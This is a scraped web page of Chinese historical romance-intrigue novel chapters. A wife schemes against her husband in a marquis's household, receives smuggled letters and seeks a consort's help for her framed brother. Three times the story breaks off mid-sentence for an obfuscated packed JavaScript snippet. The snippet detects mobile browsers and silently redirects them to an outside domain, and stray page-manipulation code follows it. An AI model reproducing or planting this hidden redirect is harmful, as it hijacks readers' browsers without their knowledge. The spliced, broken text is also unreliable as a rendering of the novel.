黎昭月对此浑不在意,每日里除了在云舒的陪伴下于花园散心,便是待在主院,看书习字,或是发呆。她刻意避开一切可能与府中事务产生交集的机会,对陈嬷嬷每日前来禀报的事项,也只是淡淡听着,从不发表意见,权当一个旁观者。 她这般作态,自然又引来了不少私下议论。有说她清高孤傲,不屑庶务;有说她因新婚之事心怀怨怼,故意与侯爷置气;更有甚者,猜测她是否真的如自己所言,无能管理这偌大的侯府。 这些流言蜚语,或多或少也传到了李既白的耳中。他并未出面制止,也未曾因此对黎昭月有任何不满的表示,只是沉默着。 几日后的一个午后,李既白命墨痕带着几个沉甸甸的紫檀木箱,来到了黎昭月所居的院子。 箱子被一一打开,刹那间,珠光宝气几乎晃花了人眼。有拳头大小的东珠,晶莹剔透的翡翠摆件,罕见的红宝石首饰,还有各色珍玩古画,皆是价值连城之物。 “侯爷说,这些都是他私库里的珍藏,赠与夫人把玩赏鉴。”送东西来的侍卫恭敬道。 若说管家之权是责任,这些珍宝便是纯粹的宠爱与讨好了。前世,李既白可从未送过她这等珍贵的玩意。 黎昭月随手拿起一颗浑圆莹润的东珠,触手温凉,这颗珠子,她曾在曾钦宁的身上见过。原来李既白,从未对她坦诚过。 她将东珠丢回箱中,发出清脆的撞击声,“将这些分成三份。一份送去给府中几位年高的嬷嬷,就说侯爷赏赐,慰劳她们多年辛苦。一份换成银钱,以我的名义在城外施粥赠药。最后那份……” 她顿了顿,眼中闪过一丝冷诮,“送去给布商的曾三小姐,就说,贺她觅得良缘,聊表心意。” 云舒瞪大了眼睛,以为自己听错了。这些可是侯爷的私藏。小姐竟然眼都不眨就全部送人,还要送给一个素不相识的女人。 “小姐,这……恐怕不妥吧?”云舒小声劝道。 “按我说的做。”黎昭月语气不容置疑。 消息很快传到李既白耳中。他正在书房练字,闻言,执笔的手一顿,上好的宣纸上晕开一团墨迹。他掐紧着掌心,可最终只是挥了挥手,让回报的侍卫退下,什么也没说。 黎昭月的行为并未激起李既白的怒火,这让她有些意外。既然珍宝不动他心神,黎昭月决定再添一把火。前世,李既白曾信誓旦旦承诺她一生一世一双人,虽然后来证明是谎言,但至少在明面上他始终未曾纳妾。今生,她便要亲手打破他的假面。 她开始命人暗中物色容貌出色,身家清白的女子。不拘是良家子还是伶人,只要姿色够好便留意着。同时,她也在与几位宗室王妃饮茶时,流露出“侯爷子嗣为重,自己身子弱,恐难开枝散叶”的忧虑。 很快,京城中便隐隐有流言传出,靖安侯夫人贤惠大度,主动为侯爷张罗纳妾之事。 这一日,黎昭月直接带着两名精心挑选的女子来到了李既白的书房。一名叫怜影,是江南来的伶人,身段柔软,眉眼含情,擅琵琶;另一名叫秋画,是书香门第的旁支孤女,气质清冷,通诗书。 “侯爷,”黎昭月语气平静,仿佛在说一件再寻常不过的家事,“您伤势渐好,身边也需人细心伺候。昭月为您挑选了两位妹妹,性情温顺,知书达理,留在房中也可减轻您的负担。 书房里李既白正在与幕僚议事。见到黎昭月带着两个陌生女子进来,幕僚识趣地退下。李既白的目光扫过那两名娇羞的女子,最后定格在黎昭月毫无波澜的脸上。 他眸色深沉,握着书卷的手指微微收紧,声音听不出喜怒:“夫人真是贤惠。” 黎昭月迎上他的目光,“身为侯府主母,理应为侯爷考量,为子嗣计。” “好一个……为子嗣计。”他站起身,走到黎昭月面前,“既然夫人如此盛情,那为夫便却之不恭了。” 他竟答应了?黎昭月心中一震,但随即冷静下来,这样便再好不过了。 “既如此,人已送到,昭月告退。”她不想再多看他和那两名女子一眼,转身便走。 然而,她刚回到自己院中不到一个时辰,便听到云舒白着脸来报:“怜影姑娘失手打碎了侯爷最喜爱的一方端砚,被侯爷下令打了二十板子,撵出府去了。秋画姑娘则因举止轻浮,没有规矩,被直接送去了城外的庵堂静修。” “知道了。”黎昭月语气平淡,无事发生般拿起一块绿豆糕,又小抿着茶水。 “小姐……”云舒看着她平静得过分的侧脸,心中惴惴不安。 “他这是在告诉我,”黎昭月拿起帕子擦了擦嘴角,动作优雅, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16544047|186703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼神却冰冷,“我送去的人,他一个都不会留。” “也好。”她轻轻吐出两个字,不知是在对云舒说,还是在对自己说。既然他不要她精挑细选的,那她便换种方式,毕竟演戏,谁不会。 从这一天起,靖安侯府隔三差五便会迎来各式各样的女子。有时是能歌善舞的舞姬,有时是精通茶道的清倌人。甚至还有一位家世尚可,性格爽利的没落将门之女,被黎昭月以“切磋武艺”之名请入府中做客,一住便是数日。 黎昭月做足了正室夫人宽容大度的姿态,引得外界议论更是沸沸扬扬。靖安侯夫人“贤惠”之名远播,而靖安侯也落了个“眼光挑剔”,“不解风情”的名声。 面对这些源源不断被送来的女子,李既白的处理方式简单而统一:来者不拒,照单全收。 然而,不出一日,这些女子总会因为各种过失而被迅速,干净地打发掉,绝无例外。 塞妾风波在侯府内部形成了一种诡异的常态,这看似无聊的拉锯,消耗着彼此的耐心,也麻痹着暗处窥探的眼睛。 黎昭月深知此举徒劳,但一想到能恶心李既白,这些便也值得了。 她更多的精力,放在了如何获取外界消息上,尤其是关于黎家。侯府中李既白的掌控无处不在,她尝试过几次,都无法将消息顺利送出,也无法接收到外界的只言片语。云舒和她带来的几个陪嫁,行动也被无形限制在主院周围。 就在她几乎要放弃,考虑是否要兵行险着时,一个意想不到的机会悄然降临。 “小姐,曾钦宁小姐递了帖子进来,说……感念您日前赠珠之恩,特备了薄礼,想亲自入府拜谢。” 曾钦宁?黎昭月眼底闪过一丝冷芒。她前几日将李既白所赠的东珠转送两颗给她,本意是羞辱与挑衅,没想到这曾钦宁竟敢顺杆往上爬,找上门来。 “带她到偏厅。” 黎昭月并未刻意装扮,只着一身淡青色的常服,乌发用一支简单的玉簪松松挽起,脂粉未施。 踏入偏厅时,曾钦宁正垂首静立,一副恭顺模样。听到脚步声,她立刻规规矩矩地行了一个大礼:“民女曾钦宁,拜见夫人。多谢夫人日前厚赐,东珠珍贵,民女受之有愧,今日特备了些江南家乡的点心,手艺粗陋,还望夫人莫要嫌弃。” 她一身素净的月白裙衫,纤腰不盈一握,声音软糯,我见犹怜。只是那偶尔飞快掠过的眼神,带着几分不易察觉的探究与审度,落在了黎昭月身上。 黎昭月并未立刻叫她起身,目光在她身上停留片刻,声音清浅:“曾小姐有心了,坐吧。” “夫人,民女今日冒昧前来,除了道谢,还有一事……关乎夫人母家,不知……当讲不当讲。”曾钦宁显然有些局促,手指无意识地绞着帕子。 黎昭月只抬眸瞥了她一眼:“哦?关乎黎家?曾小姐但说无妨。” 7. 第七章 曾钦宁左右看了看,声音更轻,带着几分神秘:“民女家中行商,南来北往,消息还算灵通。近日……偶然听得一些关于北境的传闻,心中实在不安,想着或许该让夫人知晓。” 黎昭月握着茶杯的手指微微收紧,面上却不动声色:“哦?什么传闻?” “听闻……听闻二公子前些时日,因与督粮官员发生争执,一怒之下……带兵闯了官衙,还……还打伤了人。”曾钦宁的声音带着颤意,仿佛吓得不轻。 “如今北境那边,弹劾二公子目无法纪的折子,怕是已经递到御前了。民女想着,二公子定然是受了什么委屈,可这举动终究是授人以柄,只怕……只怕对黎家不利啊!”她的话语情真意切,字字句句都像是在为黎家担忧。 黎昭月冷冷扫过曾钦宁。她二哥,性子是冲动些,但绝非不分轻重之人。而曾钦宁,一个商户之女,消息竟如此灵通,这摆明着是冲她来的。 “曾小姐的消息,倒是灵通。”黎昭月语速不疾不徐,听不出喜怒。 曾钦宁脸色微变,连忙解释道:“夫人明鉴,实在是那伙计恰好在场,亲眼所见……民女也是担心夫人,才贸然前来。” “是吗?”黎昭月打断她,小抿了口茶,“那曾小姐可知,与你家伙计发生争执的督粮官员,姓甚名谁?隶属哪位大人麾下?弹劾的折子,又是通过谁的手递上去的?” 曾钦宁被她的眼神吓到,瑟缩了下,“这,民女对细节并不清楚……” “不清楚就敢来我面前搬弄是非?” 黎昭月的声音陡然转冷,将茶杯重重往桌上一顿,发出清脆的撞击声,“曾钦宁,你当我靖安侯府是什么地方?由得你一个来历不明的女子在这里信口雌黄!” 强大的威压瞬间笼罩了整个偏厅,曾钦宁吓得立刻跪倒在地,声音哽咽:“夫人息怒!民女绝无此意!民女只是……只是一片好心,怕夫人被蒙在鼓里……” 霎时,屋内皆无人敢开口。黎昭月看向四周,意识到自己有些失态了。 她捏了捏眉心,声音还是那般冷淡:“曾小姐有心了,但这些,还需以事实为准。我有些累了,若无他事,便请回吧。” “自是。”曾钦宁微微躬身,可说这话时全然没了刚刚的慌乱,嘴角也扬起一抹弧度,但她没再多说,悄然退下了。 云舒看着曾钦宁狼狈的背影,不觉担忧:“小姐,您说她说的,是真的吗?” “真又如何,假又如何?”黎昭月的声音带着一丝疲惫,更带着无尽的冷意,“消息能传到她耳中,再借她的口来告诉我,本身就是一个信号。” 甚至曾钦宁的出现,极有可能是李既白授意她来试探自己。 就在这时,黎昭月的目光,落在那个极其普通的食盒,正是曾钦宁送来的那份。 “看看有没有毒,没有就给李既白送回去。” “小姐,”云舒低声道,脸色有些发白,“奴婢方才检查这些点心,在底层……发现了这个。”她从食盒的夹层里,取出一小卷被油纸紧紧包裹的东西。 黎昭月接过,还以为是些情话,可打开油纸,里面是一张小小的纸条。 上面是黎昭雪潦草而熟悉的字迹,内容与李既白提起的无异,北境军粮有诈,齐州并非天灾,以及朝中有奸佞欲亡黎家,最后叮嘱她京中险恶,万事小心,暂勿轻动。 信是真的,二哥的笔迹和暗号做不得假。 可这封信,竟然是曾钦宁过来的。 这简直是莫大的讽刺,侮辱! 黎昭月握着纸条的手微微颤抖,李既白,你真是好样的! 当夜,李既白来了内院。 他伤势似乎又好了一些,只是薄唇淡得几乎透明,脚步也有些虚浮。墨痕扶着他走进来时,黎昭月正坐在窗边,对着窗外沉沉的夜色发呆。 “这么晚了,侯爷有何贵干?”黎昭月没有回头,声音舒缓。 李既白挥挥手,墨痕躬身退下,并贴心将房门掩上。屋内只剩下他们二人,红烛噼啪作响,气氛微妙。 他没有立刻回答,而是走到她身边,与她一同望向窗外无边的黑暗,“今日……曾氏来过了?” “侯爷消息灵通,什么事都知道。”她微微一笑,抬手拢了拢耳边的碎发,“怎么,是来替你的红颜知己兴师问罪?怪我给她没脸?” 李既白沉默了刹,“她并非我的红颜知己。”他的语气很平静,却带着一种难以言喻的认真,“日后,她若再来,不见便是。此女心思不纯,勿要被她蛊惑。” “蛊惑?”黎昭月终于转过头,看向他,眼中是毫不掩饰的讥诮,“她来告诉我二哥在北境出事了,这叫蛊惑?还是说,侯爷觉得,我黎家的事,与我无关?” 李既白低垂着眼睫,视线落在她带着敌意的脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“辛苦了,云舒。”黎昭月紧紧握了握云舒的手,“快去歇着吧,莫要让人看出端倪。” “奴婢不累。”云舒摇摇头,“小姐,接下来我们该怎么办?府内看守严格,我们怎么出去?” 这也是黎昭月正在思考的问题。李既白虽未限制她在府内走动,但出府,绝非易事。 8. 第八章 接下来的两天,黎昭月表现得异常安分。 她依旧每日例行公事般去主院探望李既白,看着他脸色一日日好转,看着陈太医捻着胡须说“侯爷底子好,恢复神速”。她依旧沉默以对,偶尔在李既白试图与她交谈时,回以最简短的应答,或者干脆避而不见。 她不再提纳妾之事,也不再折腾那些珍宝,仿佛那日的激烈反抗和后续的种种试探,都只是一场闹剧。 她甚至开始关心起李既白的饮食起居。这日,她亲自端着一盅炖了好几个时辰的参汤,走进了李既白的书房。 书房里药味未散,李既白正披着外袍坐在书案后,墨痕在一旁低声汇报着什么。见她进来,墨痕立刻收声退到一旁。 “侯爷该喝药了。”黎昭月将汤盅放在案上,脸上是难得的笑意。 李既白抬眸看她,目光在她脸上停留片刻。然而,黎昭月只是垂着眼睫,用瓷勺轻轻搅动着汤盅里褐色的汤汁。 “有劳夫人。”李既白接过她递来的汤碗,指尖不可避免地与她有瞬间触碰。黎昭月如同被烫到般,迅速缩回手,面上仍维持着得体的笑。 一时间,书房内只剩下汤匙偶尔碰撞碗沿的细碎声响,以及窗外隐约传来的鸟鸣。气氛有种诡异的宁静。 “过两日,宫中有赏花宴。”李既白放下汤碗,打破了沉默,“皇后娘娘特意点了名,要你入宫相伴。” 黎昭月心中一跳,入宫,这无疑是一个绝佳的出府机会。 她强迫自己压下翻腾的心绪,以退为进:“昭月知道了。只是昭月近来心神不宁,恐在御前失仪,丢了侯府脸面。” “无妨。皇后娘娘慈爱,只是寻常家宴,不必拘束。况且……”他顿了顿,意有所指,“黎夫人也会出席,你们母女也许久未见了。” 母亲也会去,黎昭月袖中的手悄然握紧。若能见到母亲,哪怕不能说太多,至少能安一安彼此的心。 “是,昭月遵命。”她不再多言,端起空了的汤盅,行礼告退。 从清晨起,黎昭月就感到一种无形的压力。她看似在窗前看书,但书页许久未曾翻动。云舒更是坐立不安,时不时看向窗外的日晷。 申时初刻……如何才能在这个时间,避开所有眼线,抵达城南土地庙? 时间一点点流逝,巳时,午时……眼看未时都快过了,依旧没有想到万全之策。黎昭月的心一点点沉下去,难道真的要错过这次机会?等到宫宴吗? 就在此时,院外忽然传来一阵喧哗声,夹杂着女子尖利的哭喊和婆子们的呵斥。 “怎么回事?”黎昭月蹙眉问道。 一个小丫鬟气喘吁吁地跑进来:“夫人,不好了!是……是之前那个叫怜影的伶人,不知怎么混进府里来了,正在主院外头哭闹,说……说侯爷薄情,打了她就撵出去,她活不下去了,要撞死在门前呢!” 怜影,那个她塞进来的伶人。黎昭月先是一怔,随即一个大胆的念头窜入脑海。 机会,混乱,就是最好的掩护。 她猛地站起身,脸上适时地露出惊怒之色:“胡闹,侯爷静养之地,岂容她如此撒野。云舒,随我去看看!” 她刻意提高了音量,确保院外可能存在的耳目能听到。然后,她带着云舒和几个婆子,快步朝主院方向走去。 主院外果然围了不少人,怜影披头散发,哭得梨花带雨,正被两个粗使婆子架着,还在挣扎哭喊。墨痕脸色铁青地守在院门口,显然也被这突如其来的变故搅得心烦意乱。 “怎么回事?”黎昭月沉声问道,目光扫过在场众人。 “夫人,此女混入府中滋事,惊扰侯爷,属下这就将她拖出去。” “侯爷可受惊了?”黎昭月关切地问,脚步却向院门靠近。 “侯爷无恙,只是……”墨痕的注意力显然被怜影和如何处置她所吸引。 就在这一片混乱之中,黎昭月借着身形的遮挡,对云舒使了个眼色,用只有两人能听到的声音急速低语:“东南角门,快!” 云舒心脏狂跳,瞬间会意。她趁着所有人的目光都集中在哭闹的怜影和主持大局的黎昭月身上时,悄无声息地后退,隐入廊柱的阴影,随即身形一闪,沿着抄手游廊,朝着与主院相反的东南方向疾步而去。 黎昭月则留在原地,继续处理怜影之事。她心中如同擂鼓,面上却强自镇定,吩咐婆子将怜影先带下去“好好看管”,等侯爷示下。她知道自己此举冒险,将云舒派出去,一旦被发现,后果不堪设想。但她没有选择,这是唯一的机会。 ——土地庙。 这里香火不算鼎盛,庙宇也有些破败。申时初刻,庙里没什么人,只有一个老和尚在打着瞌睡。 云舒压低了帷帽,心脏几乎要从嗓子眼里跳出来。她按照指示,快步走到殿前的香炉旁。香炉里积满了厚厚的香灰。她左右看看无人注意,迅速伸手探入冰凉的香灰之下。 指尖触碰到一个硬物,她心中狂喜,一把将那东西攥在手心,也顾不上拍掉手上的灰,脚步匆匆地离开了土地庙。 当她气喘吁吁回到偏院,双腿一软,差点跪倒在地。 “小……小姐……”她声音颤抖,将紧紧攥在手心里的东西递了过去。 黎昭月接过,触手微凉,“回去再说。” 主仆二人回到内室,紧闭房门。黎昭月的手指因为激动而有些发抖,她小心翼翼地剥开层层油纸。里面,是一根细小的竹管。拔开塞子,倒出一卷纸条。 黎昭月深吸一口气,将纸条缓缓展开。上面的字迹细小而清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16544049|186703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晰,是用特殊的药水写成,遇酒则显: “二公子遭伏,重伤被困落鹰涧,乃督粮官周焕与副将赵昆合谋构陷。粮草被扣,军中恐生变。援军受阻,情势危急。望速决断。” 虽早有预料,但亲眼看到这血淋淋的事实,黎昭月还是感到一阵天旋地转的眩晕,她扶住桌沿,才勉强站稳。 “小姐!”云舒见她脸色煞白,连忙扶住她,担忧不已。 黎昭月闭上眼,深吸了好几口气,强迫自己冷静下来。现在不是慌乱的时候!纸条最后四个字——“望速决断”——像警钟一样在她脑中敲响。 决断?如何决断? 向谁求援?父亲在朝中恐已受到掣肘,李既白她根本不敢信任,而没有证据更不能贸然上奏,只会打草惊蛇。 周焕,三皇子一党…… 忽地,一个念头照亮了她混乱的思绪。 “云舒,准备一下。明日的宫宴,我们必须去。而且,我们要在宫里,演一场戏,见一个人。” “见谁?”云舒下意识地问。 黎昭月望向皇宫的方向,一字一顿道:“贤妃,林氏。” 林氏出身镇北林家,与黎家素有旧谊。更重要的是,前世三皇子得势后,林家是第一批被清算的将门,贤妃也在深宫郁郁而终。敌人的敌人,即便不能成为朋友,至少可以成为暂时的盟友。 “小姐,贤妃娘娘深居简出,我们如何能确保在宫宴上见到她?即便见到,众目睽睽之下,又如何交谈?”云舒忧心忡忡,宫禁森严,一步行差踏错便会万劫不复。 黎昭月眸色沉静,指尖敲击着桌面,前世零碎的记忆碎片在她脑中飞速拼接。 “皇后性喜奢华,明日赏花宴必在御花园举办。贤妃素爱清静,不喜喧闹,通常会借口礼佛,在宴席中途离席,前往附近的静心斋小憩。那里,是我们唯一的机会。” 她看向云舒,“我们需要一个理由,一个能让贤妃愿意在静心斋单独见我的理由。” —— 黎昭月身着盛装,云髻高绾,珠钗步摇。她刻意用了浓丽的妆容,将连日来的憔悴尽数遮掩,只露出一张娇艳却略显木然的脸庞。 李既白与她同乘一车,一身常服更衬得他身形清瘦,却自有股不容忽视的威仪。车内空间逼仄,他身上清冽的药香无孔不入地侵袭着黎昭月的感官,让她只想尽快逃离。 “入宫后,跟紧我。宫中规矩多,莫要冲撞了贵人。” 黎昭月本想回怼他一句,可想了想又觉不值得,他觉得自己是怎么样就是怎么样吧。 “侯爷放心,昭月知道。” “若遇为难之事,可寻皇后宫中的掌事女官……” “不劳侯爷费心。”黎昭月打断他,“我自有分寸。” 9. 第九章 车内再次陷入沉默,二人不再说话,时间也湮没在车轮的辘辘声中。 御花园,锦绣台。 如黎昭月所料,赏花宴极尽奢华。即便已是初冬,可宫内奇花异草,争妍斗艳,衣香鬓影。 此次宴席百官皆至,人数众多。黎昭月也因此能与父母一聚,而她与李既白的到来却引来不少打量,新婚燕尔,侯爷重伤……二人早已成京城最大的谈资。 黎昭月垂眸,亦步亦趋地跟在李既白身后,向帝后行礼问安。皇帝看起来心情颇佳,勉励了李既白几句“安心养伤,国之栋梁”。皇后的目光则在黎昭月身上停留片刻,才雍容含笑地让他们入座。 席间,丝竹管弦,歌舞升平。黎昭月始终扮演着一个拘谨的新妇角色,她能感受到来自四面八方的目光,但她的全部心神都在留意贤妃的动静上。 贤妃林氏坐在妃嫔席位的稍后处,穿着一身湖蓝色宫装,妆容清淡,气质沉静如水。她很少与人交谈,只偶尔与身旁的宫女低语两句。 宴至中途,贤妃倾身向皇后低语了几句,皇后点头,她便带着一名贴身宫女悄然离席。 机会来了 黎昭月按捺住立刻跟上去的冲动,又耐心等待了一会,确保贤妃已经走远,不会引人注意。然后,她轻轻碰了碰身旁的云舒。 云舒会意,立刻上前一步,声音不大不小,刚好能让邻近几桌的夫人听见:“夫人,您可是饮了酒,面色有些不适?不如奴婢陪您去透透气?” 黎昭月适时地用手扶额,脸上露出些许恰到好处的潮红,微微颔首。 她起身时李既白看向她,但黎昭月避开他的视线,只低声道:“有些闷,出去走走便回。” 我有云舒陪着就好。宫中禁地,侯爷的人跟着,不合规矩。” 她的话合情合理,杜绝了李既白派人的想法,他只能看着她在云舒的搀扶下,消失在花丛掩映的小径尽头。 黎昭月并未在附近停留,她带着云舒快步走向静心斋。越靠近那里,越为静谧,只有风吹过竹林的沙沙声。 静心斋是一座小巧雅致的院落,掩映在一片翠竹之中。院门虚掩,门外守着贤妃的那名贴身宫女。 见到黎昭月,宫女眼中闪过一丝诧异,上前拦住:“靖安侯夫人?此处乃贤妃娘娘清修之所,不见外客。” 黎昭月停下脚步,深吸一口气,压下心中的急迫。她并未强行闯入,而是从袖中取出一件信物。 她将其放在掌心,递到宫女面前:“请禀告贤妃娘娘,故人黎昭雪之妹,有十万火急之事,关乎北境风雪,求见娘娘。” 宫女脸色微变,她深深看了黎昭月一眼,“夫人稍候。”转身快步进了院内。 等待的时间格外漫长,黎昭月的手心沁出冷汗。 成败,在此一举。 片刻,宫女重新出来,神色恭敬了许多:“娘娘请夫人进去。” 黎昭月心中一块大石落地,带着云舒迈入静心斋。院内陈设简朴,焚着淡淡的檀香。贤妃林氏正坐在窗边,看过来时,目光锐利如鹰,哪还有半分宴席上的沉静。 “臣妇黎昭月,参见贤妃娘娘。” “免礼。”贤妃的声音不高,却带着不容置疑的威势,“黎夫人,你借你兄长之名,擅闯本宫静修之地所谓何事?你口中的北境风雪,又所指为何?” 黎昭月抬起头,迎上贤妃审视的目光,不再伪装,眼中流露出真切的焦急与悲愤:“娘娘明鉴!臣妇家兄黎昭雪在北境遭人构陷,如今重伤被困落鹰涧,生死未卜。军中粮草被扣,援军受阻,情势万分危急!” 贤妃瞳孔骤然收缩,“构陷,何人如此大胆!” “督粮官周焕,及其同党,副将赵昆!”黎昭月一字一顿,声音带着恨意,“而此二人,皆乃三皇子门下!” 贤妃的脸色瞬间沉了下来,眼中寒光闪烁。她与三皇子母妃早有不和,林家更是三皇子意图染指军权的绊脚石。 “证据呢?”贤妃声音低沉,“空口无凭,你让本宫如何信你?” “证据……臣妇目前没有确凿物证。”黎昭月坦言,“但消息来源绝对可靠!娘娘,北境军情如火,晚一刻,家兄和数千将士便多一分危险。娘娘出身将门,当知军情延误的后果!三皇子此举,不仅是要我兄长性命,更是要动摇北境军心,其心可诛!” 贤妃站起身,在室内踱步,眉头紧锁。她自然知道此事重大,若真如黎昭月所言,那不仅仅是黎家的灾难,更是整个北境的危机。 “你没有证据,本宫即便信你,也无法直接出面。”贤妃停下脚步,看向黎昭月的眼神复杂,“陛下近年来愈发多疑,尤其是对军中将领结党……若无真凭实据,贸然弹劾皇子,你可知是何等后果?” “臣妇知道!”黎昭月急切道,“臣妇不敢奢求娘娘直接出面,只求娘娘……能否借一条渠道,将北境真实军情,绕过兵部那些可能被渗透的环节,直接联系上北境军中的将领设法营救。” 这是黎昭月能想到的,最现实的可能。她需要一条能绕过三皇子势力的,直达核心的通道。 “可我久居深宫多年,那些同我一起的人,”贤妃摩挲着手上的玉环,持兵打仗的茧子早已消失。 “要么战死沙场,要么死于非命,我早已是孤家老人。”她不知是在笑还是自嘲,气氛凝重得能滴出水。 就在黎昭月不知如何是好时,贤妃叹出口浊气,“但,或许他能帮你。” 她走到书案前,快速写下一张纸条。 贤妃看着她,目光如炬,“不过本宫还是要提醒你一句,你要想清楚,一旦踏上这条路,便再无回头可能。你面对的,是当朝皇子,是滔天权势。” 黎昭月屈膝行了一礼,脊背却挺得笔直,声音不卑不亢:“谢娘娘苦心提点。可眼下皇子步步紧逼,臣妇与家族早已退无可退。纵使他权势滔天,纵使可能会拼得粉身碎骨的结局,臣妇也绝不退缩。” 贤妃深深看了她一眼,将纸条递了过去,“记住,看完即毁。此人能否助你,得看你自己的造化。” “多谢娘娘。”黎昭月郑重接过纸条,如同接过千钧重担。 “快走吧,此地不宜久留。”贤妃挥挥手,恢复了那副沉静的模样,“今 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“迷路?”他拖长了语调,意味深长,“这御花园路径虽繁,可通往静心斋的路,似乎并不在锦绣台附近吧?夫人这路,迷得可有些远了。” 他果然看见了。 黎昭月的心沉到谷底,她不能慌,更不能承认与贤妃见面。 “静心斋?”她睫羽发颤,眸中带着恰到好处的茫然与被质疑的委屈,“臣妇不知什么静心斋,只是顺着花香信步而行,不知不觉便走到了这里。若非殿下提醒,臣妇还不知此地是何处。” 她说着,略带不安地扫过周围幽深的竹林,“此地清幽,想来是哪位娘娘的清修之所,臣妇确实唐突了,这便告退。” 她再次行礼,拉着云舒就要从旁边绕过去。 “夫人且慢。”上官威身形未动,折扇却“唰”地一合,轻轻拦在了她的去路上。 “夫人何必急着走?”他压低声音,语气带着一种令人不适的亲昵,“本皇子听闻,黎二公子在北境,似乎遇到些……麻烦?” 黎昭月身体定住,眼中迸发出的震惊与愤怒丝毫不加掩饰。这反应,一半是演戏,一半却是真情流露。 “殿下……何出此言?”黎昭月指尖攥着衣角,下唇被牙齿咬得泛白,“家兄奉命镇守北境,一切安好,何来麻烦之说?” “哦?是吗?”上官威挑眉,故作惊讶,“那可真是本皇子听信了谗言,不过……” 他话锋一转,目光变得幽深,“北境苦寒,战事无常,什么意外都可能发生。夫人若听闻什么风声,或是需要帮助,大可来找本皇子。毕竟黎家满门忠良,若因一些误会而蒙受不白之冤,实在令人痛心。” 他话语里的暗示与威胁,如同毒蛇吐信,藏着随时会扑咬的凶险。 黎昭月深吸一口气,脸上努力挤出笑容,正当她打算搪塞这番极具“拉拢”意味的话时, “哟,我当是谁在这赏竹呢,原来是三殿下和阿月啊!”一个带着几分不羁的话打破了此地凝滞的气氛。 10. 第十章 只见启靳权大步流星地走来,衣摆随步伐扫过地面落叶,带起细碎声响,走到黎昭月身侧时脚步微顿,肩线与她齐平。 “参见三殿下。”他抬眼颔首,右手随意拱在胸前,动作轻缓却不失礼数,不过一瞬便转向黎昭月,眉峰微蹙,语气里藏着几分嗔怪: “阿月,你说你,自个儿身子骨弱不知道?出来透气连手炉都不带。”他边说,边极其自然地将掌心那手炉塞到黎昭月微凉的手中。 黎昭月反应极快,配合地赧然一笑:“是昭月疏忽,劳启二哥费心。” 上官威看着两人之间那不容插足的熟稔,眼底闪过一丝极快的阴鸷。他皮笑肉不笑地扯了扯嘴角:“启二公子,倒是体贴。” 启靳权仿佛听不出他话中的讽刺,露齿一笑,虎牙也跟着冒出来,“没办法,从小一起闯祸的情分,这些早已熟记于心了。” 他说着,随即又像是才意识到此地不宜久留,“殿下,此处风大,阿月吹不得冷风,若殿下没有其他吩咐,臣等就先告退了。” 上官威眼尾微微上挑,目光像淬了薄冰,扫过来时带着几分不屑,不知是看到二人并肩坦率的模样觉得有趣还是什么,他淡笑出声,“既如此,夫人请便。” 他尾音微微拉长,侧身让开了道路。正当二人离开时,折扇在男人掌心轻轻敲击着,“只是……这御花园路径复杂,夫人可要看准了路再走,莫要再‘误入歧途’才是。” “谢殿下提醒。”黎昭月不再多言,快步离开。 直到彻底走出那片竹林,回到有人往来的小径上,黎昭月才感觉那令人窒息的压迫感稍稍减轻。 启靳权收敛了笑容,眉头微蹙:“这家伙阴险得很,你得多加小心,我先回去了。” “多谢。”黎昭月低声道,手中逐渐有了暖意。 “夫人,三皇子他…”云舒的声音还在发抖,显然吓得不轻。 “没事……”黎昭月轻轻拍了下她,紧紧攥着袖中那张贤妃给的纸条,仿佛那是唯一的浮木。 她寻了一处假山掩映的僻静角落,确认四周无人,才迅速拿出纸条展开:“沈牧,城南青柳胡同,墨韵书局。” 沈牧? 黎昭月飞快地在记忆中搜索这个名字。前世她似乎隐约听过,此人曾是一名御史,以刚正不阿,言辞犀利著称,但后来似乎因得罪权贵而被贬黜,渐渐湮没无闻……贤妃让她去找一个被贬的御史? 虽心中疑虑,但这是贤妃给出的唯一人选,她别无选择。 待黎昭月调整好情绪,重新回到锦绣台的宴席上时,李既白正与一位宗室亲王低声交谈着。看到她回来,他的目光立刻投了过来。 黎昭月尽力维持着表面的平静,走到他身边坐下,低声道:“外面风有些大,吹得头更晕了,便回来了。” “见到想见的人了?”忽然,李既白低沉的声音传入耳中,轻得只有他们两人能听见。 黎昭月手一抖,茶水险些洒出来。 一股寒意瞬间席卷全身,她张了张嘴,想否认,想辩解,但在他那样的目光下,所有的谎言都显得苍白无力。她最终什么也没说,只是紧紧抿住唇,默认了。 李既白收回目光,手里的茶杯却被他捏紧,隐约要裂开。可他只是像没事人般,继续看向台上的歌舞。 这场宫宴,对黎昭月来说,剩下的时间只有煎熬。帝后何时起驾回宫,百官命妇何时开始告退,她都有些恍惚。 直到坐上回府的马车,隔绝了外界的视线,黎昭月才仿佛虚脱般,靠在了车壁上,闭上了眼睛。窗外的灯火明明灭灭,掠过她毫无波澜的脸。 